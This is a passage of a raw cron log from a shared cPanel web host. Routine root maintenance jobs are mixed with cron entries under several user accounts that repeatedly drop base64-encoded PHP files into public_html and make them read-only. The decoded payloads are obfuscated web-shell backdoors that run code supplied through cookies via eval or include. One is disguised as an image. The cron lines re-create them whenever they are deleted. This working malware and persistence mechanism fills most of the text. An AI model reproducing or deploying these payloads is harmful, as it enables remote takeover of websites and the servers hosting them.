AgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 10:34:01 medusa CROND[5473]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 10:35:01 medusa CROND[27086]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  1 10:35:01 medusa CROND[27191]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  1 10:35:01 medusa CROND[27197]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  1 10:35:01 medusa CROND[27198]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 10:35:01 medusa CROND[27199]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  1 10:35:01 medusa CROND[27200]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 10:35:01 medusa CROND[27201]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  1 10:35:01 medusa CROND[27206]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Mar  1 10:35:01 medusa CROND[27207]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  1 10:35:01 medusa CROND[27202]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Mar  1 10:35:01 medusa CROND[27204]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  1 10:35:01 medusa CROND[27209]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 10:35:01 medusa CROND[27203]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Mar  1 10:35:01 medusa CROND[27210]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 10:35:01 medusa CROND[27212]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 10:35:01 medusa CROND[27214]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  1 10:35:01 medusa CROND[27216]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 10:35:01 medusa CROND[27219]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 10:35:01 medusa CROND[27225]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 10:35:01 medusa CROND[27223]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 10:35:01 medusa CROND[27231]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 10:35:01 medusa CROND[27233]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 10:35:01 medusa CROND[27234]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  1 10:35:01 medusa CROND[27237]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  1 10:35:01 medusa CROND[27221]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  1 10:36:01 medusa CROND[16023]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 10:36:01 medusa CROND[16024]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 10:36:01 medusa CROND[16025]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 10:36:01 medusa CROND[16026]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 10:36:01 medusa CROND[16027]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 10:36:01 medusa CROND[16028]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 10:36:01 medusa CROND[16029]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 10:36:01 medusa CROND[16031]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 10:36:01 medusa CROND[16030]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 10:36:01 medusa CROND[16035]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 10:36:01 medusa CROND[16039]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  1 10:36:01 medusa CROND[16037]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
